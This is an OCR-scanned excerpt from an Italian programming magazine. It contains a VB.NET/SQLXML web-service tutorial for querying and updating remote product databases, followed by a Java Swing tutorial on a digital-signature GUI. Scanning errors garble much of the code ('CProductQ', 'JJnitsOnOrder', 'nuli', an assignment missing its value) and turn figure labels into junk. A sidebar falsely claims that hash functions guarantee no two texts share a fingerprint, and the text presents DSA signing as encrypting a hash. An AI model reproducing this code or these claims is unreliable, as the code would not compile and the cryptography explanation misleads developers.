(Global Functions.SQLConnectionString) 
_command.CommandText = "SELECT * FROM Products 

FOR XML AUTO" 

Try 

_command.ExecuteToStream(_memoryStream) 



Dim _root As XmlNode = _resultDoc.CreateElement("ROOT") 

_resultDoc.AppendChild(_root) 

_memoryStream.Position = 

_root.InnerXml = _streamReader.ReadToEnd() 

GetProducts = _resultDoc 

Catch sqlEx As SqlXmlException 

GetProducts = Nothing 

End Try 

End Function 

In effetti, il codice riportato potrà suscitare in molti di 
voi una domanda: perché è stato prodotto così? E so- 
prattutto, che differenza c'è rispetto allo scenario Re- 
quest/Response visto prima? Il punto è che l'interro- 
gazione è stata fatta sullo stesso database (per sempli- 
cità), ma se voi pensate di interrogare database diversi 
(immaginate ad esempio a delle catene di negozi di ab- 
bigliamento... un database diverso per ogni negozio!) 
potreste avere sott'occhio l'intera situazione della cate- 
na di negozi con un clic del mouse, impiegando tra l'al- 
tro la normale rete telefonica ed il protocollo http. Non 
male vero? Inoltre, i vari "mini-web-servers" sarebbero 
di facile configurazione, richiedendo solo la creazione 
di una Virtual Directory, l'esecuzione di uno script da- 
tabase e la copia di un certo numero di XML Templated 
Queries. 

LA CREAZIONE 

DELLA PAGINA ASP.NET 

La creazione della pagina ASPX che effettua i due tipi 
di interrogazioni è abbastanza banale. Riportiamo so- 
lamente il codice presente nel code-behind della pagi- 
na che viene eseguito al click dei due pulsanti. Se vor- 
rete esaminare il codice in dettaglio, vi invito ad instal- 
larvi l'intero codice dell'applicazione presente nel CD. 

Private Sub btnLocalQuery_Click(ByVal sender As 

System. Object, ByVal e As System. EventArgs) Handles 

btnLocalQuery.Click 
Dim _product As New CProduct() 
Dim xmlDoc As XmlDocument = _product. GetProducts 
XmlControl.DocumentContent = xmlDoc.OuterXml 
XmlControl.TransformSource = "Xslt/Products.xslt" 
IbIResults.Text = "Risultati Interrogazione Locale 

(SQLXML.net)" 

End Sub 

Private Sub btnRemoteQuery_Click(ByVal sender As 

System. Object, ByVal e As System. EventArgs) 
Handles btnRemoteQuery.Click 
Dim _product As New CProduct() 
XmlControl.DocumentContent = 

_product.ExecuteRemoteTemplate("AIIProducts.xml") 
XmlControl.TransformSource = "Xslt/Products.xslt" 
IbIResults.Text = "Risultati Interrogazione Remota 

(SQL support for US)" 

End Sub 

Voglio farvi notare che è stato impiegato il controllo 




Progettazione 

Con il passare del 
tempo la proget- 
tazione delle applica- 
zioni software richiede 
analisi sempre più ap- 
profondite, oltre ad 
una grande conoscen- 
za delle tecnologie che 
ci vengono messe a di- 
sposizione. Questo è 
dovuto al fatto che le 
applicazioni, una volta 
relegate in un solo 
computer desktop, 
possono oggi interagi- 
re potenzialmente con 
milioni di altri compu- 
ter. 



http ://www.itport al.it 



Maggio 



2 3 ►►► 113 




SICUREZZA 



La sicurezza e 
uno dei campi più 
odiati dagli sviluppato- 
ri odiano. Appesanti- 
sce le applicazioni, ne 
rende complessa la 
configurazione, mette 
alla berlina bachi e 
mancanze... ma non 
può essere ignorata. 
Ricordate sempre: la 
sicurezza della vostra 
applicazione è robusta 
come l'anello più de- 
bole della catena che 
userete per blindare il 
vostro sistema. Svilup- 
patore avvisato, mez- 
zo salvato! 



UpdateProduct 



La funzione Up- 
dateProduct 
prende come argo- 
mento un documento 
xml, che sarà lo stesso 
che fornitoci dalla fun- 
zione GetProductSi- 
tuation, opportuna- 
mente modificato, ed 
estraendo i dati utili 
per effettuare l'update 
richiama infine il me- 
todo ExecuteRemote- 
Template della classe 
CProduct. 



WebControl XML che permette, specificando un docu- 
mento XML ed un foglio di stile XSLT, di trasformare i 
dati con una sola riga di codice. Il foglio di stile impie- 
gato è un semplicissimo foglio che crea una tabella con- 
tenente i dati dei prodotti. 



WEB SERVICES 

Poniamo il caso che la nostra modernissima azienda 
voglia creare anche un sistema che permetta di modifi- 
care sui database remoti l'incremento dell'ordinato. 
Nella nostra base di dati, l'ordinato è rappresentato dal 
campo UnitsOnOrder della tabella products. Creiamo 
dunque un Web Service che permetta di: 

• Richiedere la situazione di un articolo. 

• Effettuare delle modifiche al valore dell'ordinato 
del prodotto stesso. 

Il Web Service sarà poi consumato da una semplice ap- 
plicazione WinForm, tanto per variare dalle "solite" pa- 
gine ASP.NET. Creiamo il web service battezzandolo 
WSProduct e cominciamo a scrivere un po' di codice nel 
code-behind. È importante notare che questo Web Ser- 
vice è collocato all'interno del Server principale della 
nostra azienda, e non presso le sedi staccate. Esso do- 
vrà però effettuare interrogazioni sui database delle se- 
di staccate, e per farlo utilizzerà il meccanismo di ese- 
cuzione remota di template XML. Il nostro web service 
esporrà due metodi per interagire con i prodotti: 

• GetProductSituation: accetta in input l'Id prodotto 
restituendo un documento xml contenente le infor- 
mazioni del prodotto; 

• UpdateProduct: accetta in input un documento xml 
e lo utilizza per fare l'update della fonte dati. 

La tecnica che si basa sull' utilizzo di tipi standard co- 
me gli interi e i documenti XML può essere estrema- 
mente produttiva, in quanto ci permette di creare un 
client che possa consumare il web service con qualsia- 
si linguaggio (VB.NET, C#, Delphi, VB6, Java. . .). 
Vediamo in dettaglio il codice: 

<WebMethod()> Public Function 

GetProductSituation(ByVal ProductID As Integer) 

As XmlDocument 
Dim _product As New CProduct() 
Return _product.GetRemoteXMLDocument( 

"GetSingleProduct.xml?ProductID=" & 

ProductID. ToString) 

End Function 

<WebMethod()> Public Function UpdateProduct(ByVal 

ProductInfo As XmlNode) As Boolean 

Dim _product As New CProductQ 

Dim _ProductID As String = ProductInfo. SelectSìngleNode 

("Products"). Attributes("ProductID").Value 

Dim _UnitsOnOrder As String = 

ProductInfo. SelectSingleNode("Products").Attributes 



("UnitsOnOrder"). Value 

_product.ExecuteRemoteTemplate( 

"UpdateProductOrder.xml?ProductID=" & _ProductID 

& "&UnitsOnOrder=" & JJnitsOnOrder) 

Return True 
End Function 

Il metodo GetProductSituation si limita ad invocare il 
template remoto GetSingleProduct.xml con parametro 
ProductID. Questo scatena l'invocazione remota del 
template ed il reperimento del documento XML di ri- 
sposta, che si ottiene come risultato del metodo. Per 
completezza, esaminiamo anche i due template XML: 

<ROOT xmlns:sql="urn:schemas-microsoft-com:xml-sql"> 
<sql:header> 
<sql:param name='ProductID'>l</sql:param> 
</sql:header> 
<sql:query> 

SELECT * 

FROM Products 

WHERE ProductID=@ProductID 

FOR XML AUTO 

</sql:query> 

</ROOT> 

<ROOT xmlns:updg="urn:schemas-microsoft-com: 

xml-updategram"> 
<updg:header> 

<updg:param name="ProductID"/> 
<updg:param name="UnitsOnOrder" /> 
</updg:header> 
<updg:sync > 
<updg:before> 

<Products ProductID="$ProductID" /> 

</updg:before> 

<updg:after> 

<Products UnitsOnOrder="$UnitsOnOrder" /> 

</updg:after> 

</updg:sync> 

</ROOT> 

Il primo template effettua una query parametrica sulla 
tabella prodotti, mentre il secondo è un diffgram di up- 
date e va letto così: "cerca all'interno della tabella Products 
la riga con ProductID uguale al parametro che ti è stato pas- 
sato. Una volta trovata, sostituisci il valore del campo Unit- 
sOnOrder con il secondo parametro che ti è stato fornito". 
Ora, con grande interesse, facciamo partire la compila- 
zione della nostra soluzione, ma ci accorgiamo subito 
che la prima funzione GetProductSituation è testabile 
dal browser, richiedendo solo un intero per fornire una 
risposta, mentre la seconda, necessitando di un docu- 
mento XML non è fruibile da browser. . . mi sa che dob- 
biamo proprio creare un clienti! 



IL CLIENT 

Tanto per non smentire le grandi potenzialità di .NET 
per quanto riguarda la produttività, in dieci minuti 



114**-* M a g g 



3 



http: //www. itport al.it 




Fig. 2: L'aspetto della nostra soluzione. 

creiamo anche un client che possa consumare il web 
service da noi creato. Aggiungiamo dunque alla nostra 
soluzione NorthWeb un progetto di tipo Windows Ap- 
plication (vedi Fig. 2) e cambiamone il nome in Sim- 
pleProductBrowser. Aggiungiamo un po' di controlli 
alla form che VS.NET ha creato per noi, fino al punto 
di farla somigliare a quella in Fig. 3. L'idea è questa: 
mediante il pulsante situazione effettuiamo l'interroga- 
zione al web service, richiedendo informazioni sul par- 
ticolare Id prodotto, mentre tramite il pulsante aggior- 
na, effettuiamo l' update della quantità di ordinato sul- 
la base di dati remota, ovvero sulla quantità di ordina- 
to effettivamente presente nella nostra sede staccata 
(negozio, deposito, magazzino etc.) Il codice per far 
questo, pur se estremamente semplice, merita di essere 
commentato per far apprezzare come il client possa es- 
sere realizzato in qualunque altro linguaggio. Insisto 
su questo argomento, proprio per far comprendere co- 
me l'avvento SOAP e la creazione di Web Services per- 
metta di far lavorare in modo meno rigido e più colla- 
borativo sviluppatori con diverse formazioni. Riportia- 
mo quindi le tre funzioni utilizzate dalla nostra form 
VB.NET. 



|i.uy]iiui,i,u,i],i,i,i]],i 

Codice prodotto: | 



^Jn]x| 



Descrizione: 
Aspetto esteriore: | 
Prezzo unitario: 
Disponibilità: 
Ordinato: 



Aggiungi: 



"3 

Aggiorna 



, 



Fig. 3: L'interfaccia del nostro semplice client. 

Private Sub btnGetSituation_Click(ByVal sender As 

System. Object, ByVal e As System. EventArgs) Handles 

btnGetSituation. Click 
GetProductSituation() 
End Sub 

Private Sub btnUpdate_Click(ByVal sender As System. Object, 
ByVal e As System. EventArgs) Handles btnUpdate. Click 



Dim _wsproduct As New localhost.WSProduct() 
Dim _Product As XmlNode = 

_productInfo.SelectSingleNode("ROOT/Products") 

Dim UnitsOnOrder As Integer = Convert.ToInt32( 

_Product.Attributes("UnitsOnOrder").Value) 

UnitsOnOrder = UnitsOnOrder + Convert.ToInt32( 

nudAddedUnits.Text) 
_Product.Attributes("UnitsOnOrder").Value = 

UnitsOnOrder. ToString 
If _wsproduct.UpdateProduct( 

_productInfo.SelectSingleNode("/")) Then 
GetProductSituation() 

End If 

End Sub 

Private Sub RefreshFields(ByVal _Product As XmlNode) 
txtName.Text = _Product.Attributes("ProductName").Value() 
txtQuantityPerUnit.Text = _Product.Attributes("Quantity- 

PerUnit").Value() 

txtUnìtPrice.Text = _Product.Attributes("UnitPrice").Value() 
txtUnitsInStock.Text = _Product.Attributes( 

"UnitsInStock"),ValueQ 

txtUnitsOnOrder.Text = _Product.Attributes( 

"UnitsOnOrder"). ValueQ 

nudAddedUnits.Text = "0" 

End Sub 

Private Sub GetProductSituationQ 

Dim _wsproduct As New localhost.WSProduct() 

_productInfo.LoadXml(_wsproduct.GetProductSituation( 

Convert.ToInt32(txtCode.Text)).OuterXml) 

Dim _Product As XmlNode = 

_productInfo.SelectSingleNode("ROOT/Products") 

RefreshFields(_Product) 

End Sub 

Così facendo abbiamo concluso lo sviluppo del mini- 
client WinForms che ci ha permesso di modificare un 
database remoto, situato chissà dove! 



CONCLUSIONI 

Si potrebbe continuare ancora creando altre applicazio- 
ni per la nostra ardita architettura, ma la disamina del- 
le problematiche di un'applicazione del mondo reale 
va al di là degli scopi di questo articolo. Spero che il 
mio scritto vi possa suggerire nuove soluzioni per la 
condivisione ed il reperimento di dati remoti, argo- 
mento oggi più che mai sotto i riflettori. Il principio 
guida deve essere quello di creare applicazioni intero- 
perabili e basate su standard ben conosciuti, maturi e 
provati come TCP/IP, HTTP, XML e SOAP. Le tecnolo- 
gie per creare i client e i componenti server sono di se- 
condaria importanza, ma è innegabile che il .NET Fra- 
mework e l'ambiente di sviluppo Visual Studio NET 
rendano la vita degli sviluppatori un po' meno fru- 
strante e molto, molto più varia ed interessante. Da 
questo cambiamento, perciò, traggono giovamento le 
applicazioni prodotte che saranno certamente più fles- 
sibili, estendibili e di facile manutenzione. 

Ing. G. Davide Senatore 




SQL 

XML 



GetProduct 
Situation 

al La funzione Get- 
±\ ProductSituation 
invoca il metodo omo- 
nimo del web service 
che abbiamo aggiunto 
come referenza al no- 
stro progetto, otte- 
nendo come risposta 
un nodo XML che vie- 
ne passato alla funzio- 
ne RefreshFields, la 
quale effettua un po- 
polamento dei campi a 
video. 



Numeric 
UpDown 



/-a Grazie al control- 
-~J\ lo NumericUp- 
Down possiamo ag- 
giungere la quantità di 
pezzi all'ordinato del 
nostro articolo, ed alla 
pressione del pulsante 
btnUpdate invochiamo 
l'altro metodo del web 
service, passando a 
quest'ultimo lo stesso 
documento xml (mo- 
dificato nell'attributo 
UnitOnOrder) memo- 
rizzato dopo la prima 
invocazione del Web 
Service. Se l'operazio- 
ne va a buon fine, ef- 
fettuiamo un refresh 
dei dati rileggendo il 
documento xml dal 
server. 



http ://www.itport al.it 



g g 



3 ►►► 115 



A d 



n e e d 



E d 



t i o n 




firma 

digitale 



e-government 

CRITTOGRAFIA E FIRMA DIGITALE 

PARTE SECONDA 

Per completare l'applicazione sviluppata, in questo nuovo 
articolo progetteremo l'interfaccia utente. 



File sul CD 



\soft\codice 
\egovernment.zip 



File sul Web 

www.itportal.it 
iop69\egovernment.zip 



Algoritmo 
di Hashing 

/-al Algoritmo che pro- 
'--J' duce una stringa 



binaria di lunghezza co- 
stante e piccola, nor- 
malmente 128 o 160 
bit, a partire da un qual- 
siasi file che riceve in 
ingresso. E' garantita 
l'unicità di tale stringa, 
nel senso che a due te- 
sti diversi non corri- 
sponde la medesima 
impronta. 



Questo tipo di certificazione, oltre all'integrità 
della documentazione informatica, fornisce 
precise garanzie circa l'dentità personale degli 
attori che partecipano alla transazione. Il processo di 
firma si basa sull'impiego di una coppia di chiavi asim- 
metriche: la chiave privata, impiegata dal mittente per 
firmare il documento, e la chiave pubblica, contenuta 
in un certificato, usata dal destinatario per verificare 
l'integrità dello stesso. Colui il quale vuole usare il si- 
stema di firma si deve munire delle sopraccitate chiavi. 
La "firma" è stata ottenuta mediante un apposito algo- 
ritmo di cifratura, che in letteratura è noto come DSA 
(Digital Signature Algorithm). Per ottimizzare tale proce- 
dura l'algoritmo di cifratura non viene applicato diret- 
tamente al documento originale, le cui dimensioni so- 
no variabili, ma a una stringa binaria di lunghezza fis- 
sa ottenuta facendo l'Hashing del documento origina- 
le. Cifrando, con la chiave privata, l'impronta digitale 
generata in precedenza, otteniamo la firma digitale del 
documento informatico. In questo modo la firma risul- 
ta legata sia al soggetto sottoscrittore (attraverso la 
chiave privata usata per la generazione), sia al docu- 
mento trattato (per il tramite dell'impronta). La verifi- 
ca invece viene effettuata ricalcolando, con la medesi- 
ma funzione di hash usata nella fase di sottoscrizione, 
il valore dell'impronta del messaggio trasmesso, e con- 
trollando che il valore così ottenuto coincida con quel- 
lo generato per decodifica della firma digitale. In tal ca- 
so il documento firmato dal mittente non ha subito mo- 
difiche ed inoltre si ha la certezza dell'identità del mit- 



II processo di firma digitale 



? 



SfffMtt Ji Anna 
Q"H — | lium ffiplìle 



^~ 



-H(fi — ^ÌIh]— > |codifica~| — ■- 




IV rfc"(v 

Q-i — i 

r ie — + 1 r 

| decodifica |— jMD 






Ce 

ò 



Cirfniito OK??? 



Mario 



Fig. 1: Processo di Firma e Verifica. 



tente il quale non potrà ripudiare il documento inviato. 
Le classi che implementano le funzionalità soprade- 
scritte, sono state dettagliatamente descritte nel prece- 
dente articolo ed allegate nel package presente sul CD. 



GRAPHIC USER INTERFACE 

Il primo passo nella realizzazione di un'interfaccia con- 
siste nel definire un frame chiudibile con la funziona- 
lità di contenitore per l'intera intefaccia. L'oggetto che 
realizza fisicamente il "top - level container" lo chia- 
meremo GLTL e si comporta esattamente come JFmme 
del pacchetto javax.swing. Ovviamente sarà necessario 
gestire l'uscita dall'applicazione. In Java, infatti, il com- 
portamento predefinito di un frame consiste semplice- 
mente nel nascondersi quando viene chiuso dall'uten- 
te. Quindi occorre prevedere un sistema che avvisa il 
back- end quando il frame viene chiuso, in modo tale 
da determinare la chiusura dell'applicazione stessa. 
Per implementare queste funzionalità usiamo il mo- 
dello ad eventi AWT (Abstract Window Toolkit) di Java. 
In Java i componenti dell'interfaccia utente, bottoni, fi- 
nestre, area di testo, sono delle sorgenti di eventi. Il si- 
stema operativo mette a disposizione di ogni sorgente 
diverse attività quali gestione mause, pressione tasti 
ecc. ... La "sorgente di eventi" descrive la natura dell'e- 
vento, attraverso un "oggetto evento", inoltre conser- 
vano una serie di lisfner (ascoltatori), oggetti che ven- 
gono chiamati quando si verifica un evento. In pratica 
la sorgente di eventi, attraverso un metodo appropria- 
to dell'interfaccia listner, trasmette le informazioni ri- 
guardanti l'evento ai vari lisfner, i quali analizzano 
l'oggetto evento ricevuto e generano la risposta all'e- 
vento stesso. Dopo aver accennato la semantica della 
gestione degli eventi, possiamo cominciare a scrivere la 
nostra classe. Inizialmente definiamo il package di ap- 
partenenza dell'oggetto, quindi importiamo i frame- 
work necessari ad implementare le funzionalità de- 
scritte. 

package firma2; 
import java.awt.*; 
import java.awt.event.*; 



116 ►►► M a g g 



3 



http: //www. itport al.it 



import javax. swing.*; 

Si passa quindi alla definizione della classe che realiz- 
za il frame e ricorrendo alla tecnica delle classi annida- 
te anonime gestiamo l'evento di chiusura del frame. In- 
fatti come possiamo osservare, la classe JFrame, quan- 
do l'utente cerca di chiudere la finestra, genera un Win- 
dowEvent. La risposta a tale evento sarà la chiusura del- 
l'applicazione mediante il metodo exit dell'oggetto Sy- 
stem. 



sottoscrizione. Si avverte, quindi, l'esigenza si avere 
sulla medesima interfaccia entrambe le funzionalità. 
L'oggetto Swing che permette di implementare diverse 
funzionalità sul medesimo pannello è il TabbedPane. 

package fìrma2; 
import javax. swing.*; 
import java. io.*; 
import java.awt.*; 
import java.awt.event.*; 




firma 

digitale 



public class Guì extends JFrame { 

public GuiQ { 

addWindowListener(new WindowAdapter() { 
public void windowClosing(WindowEvent e) { 
System. exit(O);} }); 

Ulteriori approfondimenti sulla gestione degli eventi è 
consultabile sulla documentazione ufficiale Sun dispo- 
nibile all'indirizzo http:Wwiviv.java.sun.com. Dopo la 
visualizzazione di un frame vuoto, che viene chiuso in 
maniera corretta, passiamo alla fase in cui predispo- 
niamo tale frame a ricevere i componenti della GUI. 
In Java i frame sono utilizzati per fungere da conteni- 
tori di componenti quali bottoni, area di testo, label, 
ecc. Solitamente i componenti precedentemente elen- 
cati, che compongono la GUI, vengono posizionati su 
un altro componente denominato "pannello" che vie- 
ne successivamente aggiunto al frame. Per meglio ca- 
pire il processo di creazione dell'interfaccia analizzia- 
mo in dettaglio la struttura di un frame. Un JFrame è 
sorprendentemente complesso; infatti in esso sono 
stratificati quattro pannelli. Il pannello principale, il 
pannello stratificato e quello di vetro sono necessari 
per la gestione della barra dei menù, quindi la loro trat- 
tazione viene per il momento tralasciata. Per realizzare 
l'ambientazione che ci interessa consideriamo il "pan- 
nello del contenuto", il quale dopo essere stato arreda- 
to con i vari oggetti Swing che compongono la GUI, 
viene attaccato al frame precedentemente definito. Per 
completezza ricordiamo che il pannello del contenuto 
presenta come layout predefinito il BorderLayout. 

Container contentPane=getContentPane(); 

contentPane.add(new TabbedPaneDemoQ, 

BorderLayout.CENTER); 

}// costruttore 
} 

Nel nostro caso selezioniamo il "pannello del contenu- 
to" dal frame, e quindi incolliamo su di esso l'oggetto 
che implementa la GUI. 



ARREDIAMO IL PANNELLO 

Ricordiamo che l'applicazione implementata deve con- 
sentire al mittente di generare la firma digitale di un 
documento informatico e al destinatario la possibilità 
di verificare l'autenticità della firma generata in fase di 



Definito il package di appartenenza e importati gli og- 
getti nativi di supporto, definiamo l'oggetto che imple- 
menta le funzionalità richieste. In pratica, un pannello 
che permetta di gestire entrambe le funzionalità del- 
l'applicazione: la firma e la verifica. Poiché il lavoro 
dell'applicazione è prettamamente orientato alla mani- 
polazione di file andiamo a definire gli oggetti Java che 
supportano la loro gestione. Per evitare problemi di vi- 
sibilità locale, all'interno dell'oggetto che da qui a poco 
implementeremo, tutti gli oggetti File verranno dichia- 
rati static. 




Si passa quindi alla dichiarazione degli oggetti swing 
che compongono i "tastierini" dei due pannelli. Per 
evitare qualsiasi equivoco consideriamo un "tastieri- 
no" un set di oggetti JButton, mediante i quali sarà pos- 
sibile effettuare le operazione di input. 

// tastierino pannello funzionalità Firma 
static JButton signButton =null; 
static JButton searchButton = nuli; 
static JButton firma = nuli; 
// tastierino pannello funzionalità Verifica 
static JButton verificaButton =null; 
static JButton search = null; 
static JButton searchSignButton = null; 
static JButton startVerifica =null; 

Attraverso il "costruttore" implementiamo l'oggetto 
TabbedPane, che permette la gestione di diverse funzio- 
nalità sulla stessa area di lavoro, successivamente me- 
diante la tecnica dei contenitori supportata da Java, su 
ognuna delle diverse aree di lavoro andremo a custo- 
mizzare le differenti funzionalità. 

public TabbedPaneDemoQ { 



GUI 

Graphic User In- 
terface è l'inter- 
faccia mediante la 
quale l'applicazione 
dialoga con l'utente. 



http ://www.itport al.it 



g g 



3 ►►► 117 



SELECT 
















FROM PRODUCTS INfàUR JOJN 












CATEGQétriF. F 


R XML AlfTO 


















Categor^^m 


"Beve IS ges'V> 


<produc:- -■ 


ÓuctlD-'l" 




- 1 '-"' '9" > 


«ZATEGORIES 


CategoryNainm 


■Seve«ges7> 







firma 

digitale 



DSA 

Digital Signature 
Algorithm è l'algo- 



ritmo che consente di 
generare la firma del 
documento. 



Swing 



Libreria di classi 
per lo sviluppo di 
Gui; fornisce semplice- 
mente componenti di 
interfaccia utente più 
performanti rispetto a 
quelli forniti da AWT. 



Imagelcon icon = new ImageIcon("images/middle.gif"); 
JTabbedPane tabbedPane = new JTabbedPaneQ; 

Definito il contenitore di secondo livello, passiamo alla 
realizzazione dei pannelli che implementano le singole 
funzionalità. Nel rispetto della filosofia Java, deleghia- 
mo tale compito a due metodi esterni al costruttore i 
quali, non ricevendo come ingresso alcun parametro, 
restituiranno un oggetto Container. Questi oggetti altro 
non sono che le interfaccie relative alle funzionalità di 
Firma e Verifica di un documento informatico, quindi 
per completare la nostra interfaccia sarà sufficiente at- 
taccare tali pannelli alle relative funzionalità dell'ogget- 
to tabbedPane e collocare il tutto sul frame principale. 




A questo punto, non ci resta che realizzare i metodi che 
permettono di arredare i pannelli relativi alle due mo- 
dalità di funzionamento. Poiché il criterio utilizzato 
per la loro implementazione è del tutto similare, limi- 
teremo la descrizione al solo pannello che supporta la 
generazione della firma. Il compito essenziale dell'in- 
terfaccia utente è quello di conferire all'applicazione 
un elevato livello di interattività con l'utente. Infatti, ol- 
tre a consentire la selezione e l'immisione dell'imput, 
deve fornire adeguati riscontri all'utente sullo stato 
delle operazioni effettuate e da effettuare. Per garanti- 
re tali prerogative, il layout dell'interfaccia, oltre al set 
di pulsanti deputati alla selezione dei vari input, com- 
prende una vasta area di testo su cui tutte le operazio- 
ni vengono annotate man mano che sono eseguite. Poi- 
ché i principali attori della nostra applicazione sono i 
file, di qualsiasi formato, si avverte la necessità di na- 
vigare il file system della macchina su cui si opera, 
quindi facciamo ricorso anche al componente JFile- 
Chooser di swing. Per meglio posizionare i vari compo- 
nenti nel frame, risulta conveniente utilizzare un pan- 
nello che si comporta da contenitore, su cui posiziona- 
re gli stessi. Unitamente al pannello definiamo gli og- 
getti già mensionati: JTextArea che permette la gestione 
delle aree di testo il set di JButton che definisce il tastie- 
rino e il JFileChooser. Una adeguata garanzia sul look e 
la funzionalità dell'intera applicazione la otteniamo 
prevedendo alcune protezioni. Per quanto riguarda la 
JTextArea , infatti, viene disabilitata la scrittura, garan- 
tendo massima chiarezza circa lo stato dell'applicazio- 
ne, mentre per il set di JButton, che compongono il ta- 
sterino, di volta in volta viene abilitato il tasto di una 
funzionalità se e solo se la precedente operazione è an- 
data a buon fine. Questi accorgimenti fanno si che l'ap- 



plicazione sia di immediato apprendimento, semplifi- 
cando così il lavoro dell'utenza meno esperta. 

protected Component makeFirstPanel() { 

final JFileChooser fc = new JFileChooser(); 

JPanel panel = new JPanel(new BorderLayout()); 

final JTextArea log = new JTextArea(5,20); 

log.setMargin(new Insets(5,5,5,5)); 

log.setEditable(false); 

JScrollPane logScrollPane = new JScrollPane(log); 

Nella gestione del tastierino, per evitare stranezze do- 
vute alla gestione dei layout di Java, si è pensato di in- 
trodurre un pannello supplementare che funge da con- 
tenitore più piccolo il quale, dopo essere stato arredato, 
viene collocato in quello di livello superiore; il tutto ov- 
viamente sotto il controllo di un manager del layout. 

// pannello che contiene il tastierino 

JPanel buttonPanel= new JPanel(); 

// bottoni che compongono il tastierino 

signButton = new JButton("Documento da firmare");; 

searchButton = new JButton("Cerca la chiave"); 

firma = new JButton("Firma il documento"); 

/* abilitiamo solo il bottone che serve per selezionare il 

file da firmare 
gli altri bottoni che compongono il tastierino sono 

disabilitati.*/ 
signButton .setEnabled(true); 
searchButton. setEnabled(false); 
firma.setEnabled(false); 

Prima di addentrarci nel codice che si occupa della ge- 
stione del file system, è conveniente spendere qualche 
parola circa la gestione dell'evento relativo alla pressio- 
ne di un tasto. In questo caso la sorgente dell'evento è 
l'oggetto JButton di swing, quindi procediamo all'atti- 
vazione del relativo listner ricorrendo alla tecnica delle 
classi anonime. Quando si verifica il click sul tasto, il li- 
stner cattura l'evento e attraverso il metodo action- 
Performed, origina la risposta: la navigazione del file 
system e la conseguente selezione del file cercato. 

signButton. addActionListener(new ActionListener() { 
public void actionPerformed(ActionEvent e) { 
int returnVal = fc.showOpenDialog(TabbedPaneDemo.this); 
if (returnVal == JFileChooser.APPROVE_OPTION) { 

File documento = fc.getSelectedFile(); 

TabbedPaneDemo.docFile=documento; 

Recuperato il file in esame, l'applicazione comunica al- 
l'utente, attraverso l'area di testo, che il file sul quale 
produrre la firma digitale è stato selezionato; sono- 
quindi abilitate le successive funzionalità dei tasti non 
attive in questa fase. Ovviamente nel caso in cui tale 
operazione fallisse l'applicazione prowederà a comu- 
nicare l'esito negativo all'utente. 

log.append("Documento da firmare : " + 



118*-*-* M a g g 



2 3 



http: //www. itport al.it 



documento. getName() + "." + newline); 
TabbedPaneDemo.searchButton.setEnabled(true); 
TabbedPaneDemo.signButton.setEnabled(false); 

} else { 

log.append("Operazione non riuscita" + newline);} } 

}); 

Discorso analogo vale per la gestione del tasto che con- 
sente la selezione della chiave privata necessaria per at- 
tivare il processo di firma. 

searchButton.addActionListener(new ActionListener() { 
public void actionPerformed(ActionEvent e) { 
int returnVal = fc.showOpenDialog(TabbedPaneDemo.this); 
if (returnVal == JFileChooser.APPROVE_OPTION) { 
File Key = fc.getSelectedFile(); 
// file che contiene la chiave 
TabbedPaneDemo.keyPrivFile=Key; 
log.append("Chiave:"+Key.getName() + "." + newline); 
TabbedPaneDemo. firma. setEnabled(true); 
TabbedPaneDemo.searchButton.setEnabled(false); 

} else { 

log.append("Operazione non riuscita" + newline);} }}); 

Dopo aver selezionato il documento sul quale genera- 
re la firma digitale, e la chiave privata usata per cifrar- 
lo, possiamo attivare il processo di firma. Ovviamente 
la generazione della firma avviene come risposta al ve- 
rificarsi di un evento: la pressione del relativo tasto. 
L'unica differenza con le precedenti gestioni dei tasti è 
riscontrabile all'interno del metodo actionPerfomed, il 
quale risponde all'evento generato con la creazione 
dell'oggetto che genera la firma digitale di un docu- 
mento informatico, descritto dettagliatamente nel pre- 
cedente articolo. FirmaDocumento, riceve come parame- 
tri i file che contengono il documento e la chiave del fir- 
matario e produce come risultato un file che contiene la 
firma digitale del documento. 

firma. addActionListener(new ActionListenerfJ { 
public void actionPerformed(ActionEvent e) { 
FirmaDocumento fd = new FirmaDocumento( 

TabbedPaneDemo. keyPhvFile,TabbedPaneDemo.docFile); 
TabbedPaneDemo. signButton.setEnabled(true); 
TabbedPaneDemo. firma.setEnabled(false); 
log.append("II documento Firmato é : " + 

TabbedPaneDemo. docFile.getNamefJ + "." + newline);} 

jh 

button Panel. add(signButton); 
button Panel. add(searchButton); 
button Panel, add(firma); 

panel. add(buttonPanel, BorderLayout. SOUTH); 
panel. add(logScroll Pane, BorderLayout. CENTER); 
return panel; } 

La realizzazione del pannello che implementa la fun- 
zionalità di verfica del documento, segue sostanzial- 
mente lo stesso procedimento quindi la trattazione e la 
lettura del codice allegato nel CD è lasciata al lettore. 



AVVIAMO L'APPLICAZIONE 

A questo punto; il package che consente di supportare 
la firma digitale di un documento informatico è ulti- 
mato. Bisogna quindi realizzare un oggetto che utilizza 
le funzionalità implementate in tale package: la classe 
di start-up. Questa classe importerà tutte le funziona- 
lità implementate nel package e conterrà il mairi come 
unico metodo dell'oggetto. 

L'unico parametro del main sarà il tradizionale vettore 
di stringe, solitamente utilizzato per passare alle appli- 
cazioni degli input a riga di comando, non utilizzato 
nel nostro caso. Definita la struttura standard del me- 
todo main procediamo con l'istanziazione dell'oggetto 
GUI precedentemente descritto, quindi fissiate le di- 
mensioni e il titolo da assegnare al nostro frame visua- 
lizziamo il tutto attraverso il metodo setVisible di JFra- 
me. Il risultato, lanciando l'applicazione, sarà quello di 
una finestra che contiene l'interfaccia descritta nell'ar- 
ticolo. 

/* classe che contiene il main per avviare l'applicazione */ 
import firma2.*; 
public class StartApplication { 
public static void main(String[] args) { 

Gui window = new Gui(); 

window.setTitle("Firma & Verifica"); 

window. setSize(700, 300); 

window. setVisible(true); 

_} 

}//StartApplication 

GESTIONE DELLE CHIAVI: 
L'INTERFACCIA 

L'interrogazione del KeyStore con la conseguente 
estrazione delle chiavi avviene attraverso il package ge- 
storeChiavi le cui funzionalità sono state dettagliata- 
mente descritte nel precedente articolo. Per coloro che 
non hanno seguito lo scorso appuntamento, ricordia- 
mo che l'applicazione dopo aver individuato il Keysto- 
re, protetto da password, all'interno del filesystem, 
provvedeva ad individuare una coppia di chiavi asim- 
metriche all'interno dello stesso. Ricordiamo, altresì, 
che la coppia di chiavi asimmetriche sono referenziate 
all'intrerno del KeyStore da una password, che proteg- 
ge la chiave privata e un alias che identifica il certifica- 
to. In definitiva i parametri da gestire per reperire le 
chiavi di firma sono: la password per accedere al Key- 
Store, e la coppia password - alias del certificato per in- 
dividuare ed estrarre la coppia di chiavi asimmetriche. 
Descriviamo brevemente come implementare una 



[iì Firma & Verifica 



Firma Digitale Verifica Della Firma 



Documento da firmare : torre.jpg. 
Chiave : rnarano.pk. 




</PROD( 
<PRODU-. 
